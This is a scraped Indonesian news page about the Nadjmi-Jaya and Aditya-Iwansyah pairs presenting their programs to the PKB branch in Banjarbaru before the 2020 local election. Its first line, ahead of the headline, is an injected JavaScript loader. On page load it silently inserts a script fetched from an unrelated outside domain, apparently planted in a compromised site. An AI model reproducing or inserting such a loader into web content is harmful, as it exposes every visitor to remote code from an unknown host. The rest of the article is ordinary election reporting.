(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tarung Program Nadjmi-Jaya VS Aditya-Iwansyah Berebut Sokongan 3 Kursi PKB Banjarbaru


BANJARBARU, Dua kandidat yang bakal bertarung di Pilkada Banjarbaru 2020, Nadjmi Adhani-Darmawan Jaya Setiawan dan Aditya Mufti Ariffin-AR Iwansyah, saling beradu program di DPC PKB Banjarbaru, di Jl A Yani Banjarbaru, Sabtu (26/10). Di hadapan panelis dari ULM, Dr Setia Budi dan jajaran elite PKB dan kader, mereka menyampaikan visi dan misi Banjarbaru ke depan.

Meski kedua kandidat tak tampil bersamaan, tapi dari dialog dan paparan visi misi, bisa diketahui bagaimana mereka memproyeksikan pembangunan Banjarbaru selama empat tahun ke depan. Dimulai dari incumbent Nadjmi-Jaya yang datang pertama sekitar pukul 14.00 Wita.

Nadjmi-Jaya disambut Ketua DPC PKB Banjarbaru Ririk Sumari, serta jajaran petinggi partai lainnya. Termasuk perwakilan DPW PKB Kalsel serta dewan syuro. Berbeda dengan partai-partai yang telah membuka pendaftaran sebelumnya, DPC PKB Banjarbaru menggelar dialog serta mendengarkan visi-misi pasangan Incumbent di hadapan para kader PKB yang hadir. Dalam dialog yang digelar, sejumlah pertanyaan dilayangkan terkait program-program pasangan incumbent.

Mendapatkan kesempatan pertama, Nadjmi-Jaya pun menunjukan keberhasilannya memimpin Kota Banjarbaru. Termasuk pemenuhan atas janji kampanye Pilkada 2015 lalu. Seperti halnya, delapan bulan pasca dilantiknya Nadjmi Adhani – Darmawan Jaya Setiawan sebagai Wali Kota dan Wakil Wali Kota Banjarbaru pada 2015 silam, mereka sudah mampu memenutup lokalisasi Pembatuan. “Eks lokalisasi itu sekarang jadi kawasan perkantoran, ada kantor camat, ada puskesmas juga,” ucap Nadjmi.

Hal lainnya yang disampaikan oleh Nadjmi Adhani adalah mengenai Kota Banjarbaru yang merupakan kota by design. Ia menegaskan akan tetap mempertahankan ikon-ikon atau bangunan bersejarah di Kota Banjarbaru, salah satunya Mess L. “Di masa kepemimpinan kami, Mess L kami selamatkan (dipugar/rehabilitasi). Bangunan ini salah satu simbol sejarah pembangunan tidak hanya di Banjarbaru, tetapi juga di Kalimantan Selatan,” ungkapnya.

Di sektor pendapatan, Nadjmi mengatakan Pendapatan Asli Daerah (PAD) meningkat 100 persen. Ia mengungkapkan, saat dirinya baru menjabat sebagai pasangan Walikota, PAD Kota Banjarbaru hanya sebesar Rp120 Miliar. “Saat ini sudah mencapai Rp 240 miliar. Ini akan terus kita gali agar PAD Kota Banjarbaru meningkat,” imbuhnya.

Tidak hanya itu, Bacalon Wakil Walikota Banjarbaru, Darmawan Jaya Setiawan, juga mengakui berhasil dalam menekan angka kemiskinan di Kota Banjarbaru. “Angka kemiskinan di Kota Banjarbaru telah mengalami penurunan. Jika di tahun 2015 lalu angka kemiskinan berada di angka 4,68 persen berdasarkan data BPS, maka di tahun 2018 menurun jadi 4,19 persen,” terangnya.

Hasil survei juga membuktikan, bahwa kita telah berhasil di sejumlah bidang dengan tingkat kepuasan publik yang cukup signifikan. Nadjmi pun mengutip hasil survei Indikator, yang mengatakan lima misi pembangunan yang diusung pasangan petahana ketika maju dalam pencalonan tahun 2015 yang lalu (SDM, infrastruktur, perekonomian daerah, reformasi birokrasi, dan kenyamanan hidup bermasyarakat), sudah dijalankan dengan baik hingga sejauh ini, 90%.

Program Banjarbaru bersih, hijau dan sehat, diketahui oleh sekitar 53%, dan di antara yang tahu mayoritas menilai program sudah berjalan dengan baik, 96%. Program peningkatan kapasitas layanan kesehatan dan pendidikan, diketahui oleh sekitar 49% warga, dan di antara yang mengetahui mayoritas menilai program sudah berjalan dengan baik, 91%.
Demikian juga program pembangunan infrastruktur perkotaan, diketahui oleh sekitar 50% warga, dan di antara yang mengetahui mayoritas menilai program sudah berjalan dengan baik, 94%,” terangnya.

“Secara umum hingga sejauh ini, kepuasan terhadap Nadjmi Adhani terbilang sangat tinggi, sekitar 87% warga puas atas kinerjanya sebagai Walikota. Sudah, ini jaminan. Mau apalagi, kalau PKB tidak mau bersama-sama dengan kami,” ujar Nadjmi.

Nadjmi mengatakan mendaftarkan diri ke PKB, lantaran partai berlambang bola bumi tersebut konsisten turut serta dalam membangun kota Banjarbaru. “Kita berharap PKB dapat menyokong kita dalam Pilkada 2020 nanti. Survey yang kita tampilkan ini menunjukan bahwa kami (Pasangan Incumbent) masih dipercayai masyarakat sampai sekarang,” tegasnya.

Visi Penantang

Di sisi lain, kubu penantang pasangan Aditya-Iwansyah juga menyampaikan berbagai upaya untuk mewujudkan Banjarbaru sebagai kota Juara. “Juara yang kami maksudkan bukan dalam dikotomis kalah dan menang. Tapi merupakan akronim dari Maju, Agamis, dan Sejahtera,” terangnya.

Aditya mengatakan, salah satu yang perlu didorong di Banjarbaru adalah penguatan industri kreatif. Ia menilai, saat ini masih banyak potensi dalam sektor industri kreatif yang tidak dibina dengan serius meskipun memiliki potensi cukup besar. “Seperti purun misalnya. Ini akan menjadi salah satu program kami, bahkan dalam waktu dekat ini kami akan membawa purun ke pentas internasional,” katanya.

Putra dari mantan Gubernur Rudy Ariffin ini menjelaskan, kebetulan juga istrinya Vivi Zubedi yang juga perancang model terkenal, memiliki wadah melalui program Industri Kreatif Indonesia (IKRA) yang bekerjasama juga dengan Bank Indonesia. Melalui wadah tersebut, Vivi bersama Bank Indonesia sudah mengujungi berbagai kota di Indonesia. Termasuk juga beberapa industri pengrajin di Kota Banjarbaru, seperti sasirangan dan purun. “Jadi ada potensi yang bisa kita kembangkan bersama untuk industri kreatif Banjarbaru,” katanya.

Selain itu, salah satu yang menjadi konsens dari Aditya adalah menyuburkan pendidikan agama di Banjarbaru. Baik pesantren maupun sekolah-sekolah berbasis agama. “Saya melihat di Kecamatan Cempaka bisa menjadi sentral pendidikan agama,” katanya.

Di sisi lain, Iwansyah menambahkan, pihaknya memang telah merencanakan program-program dan pembangunan untuk memajukan kota Banjarbaru. Sebab, menurutnya kota berjuluk Idaman ini merupakan miniatur Indonesia. “Brending kota Banjarbaru yang terdapat berbagai suku, agama dan lain-lain, itu adalah suatu kebanggaan. Disini orang Jawa bisa jadi orang Banjar,” katanya.

Tidak hanya itu dirinya bersama Aditya, juga ingin memunculkan brending kota Pendidikan. Salah satunya pembangunan sekolah yang dapat dengan mudah dijangkau masyarakat serta lingkungannya yang asri dan menciptakan kenyamanan bagi siswa-siswi dalam menjalani proses belajar. “Jadi orang tidak hanya ke Jogja atau ke Malang, tapi ke Banjarbaru. Kita buat sekolah terkenal, dengan kemudahan untuk membangun dan juga modern,” katanya.

Tanggapan PKB

Sementara itu, Ketua DPC PKB Banjarbaru Ririk Sumari, mengungkapkan telah melihat seluruh paparan yang disampaikan. Baik oleh incumbent maupun penantang. Dirinya juga tidak mengelak, bahwa penyampaian positif yang disampaikan pasangan incumbent dapat menjadi point plus dalam pertimbangan kemana dukungan PKB nantinya. “Tentu apa yang sudah kita dengar dan saksikan dari pasangan pertahana, akan kita rekomendasikan ke DPP PKB. Itu akan menjadi pertimbangan,” katanya.

Di sisi lain, sejarah koalisi PKB dan PPP ini menjadi suatu pertimbangan. “Setelah berdialog dengan dua Pasangan Calon Kepala Daerah hari ini. Apa yang menjadi visi misi mereka, kawan-kawan kader yang menilai. Semua keputusan ada pada mereka, terkait siapa yang akan direkomendasikan nanti,” katanya.

Saat ini pihaknya akan tetap akan berusaha netral dengan semua kandidat. Serta akan tetap mengakomodir keputusan dan rekomendasi DPP. “Terpenting bagaimana mengambil hati para kader Partai kami saat dialog tadi. Tapi intinya kami belum menentukan pilihan kepada siapa. Masih menunggu proses, sampai turunnya SK,” tegasnya.(rico)

Reporter : Rico
Editor : Chell

 


Desy Arfianty

Recent Posts

Laga Terakhir Timnas Indonesia Berharap Juara Ketiga Piala Asia U-23

KANALKALIMANTAN.COM, BANJARBARU - Tim Nasional (Timnas) Indonesia U-23 dipastikan gagal melaju ke final Piala Asia… Read More

2 jam ago

Atraksi Ritual Laluhan Warnai Hari Jadi ke-218 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More

10 jam ago

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

12 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

13 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

17 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

18 jam ago

This website uses cookies.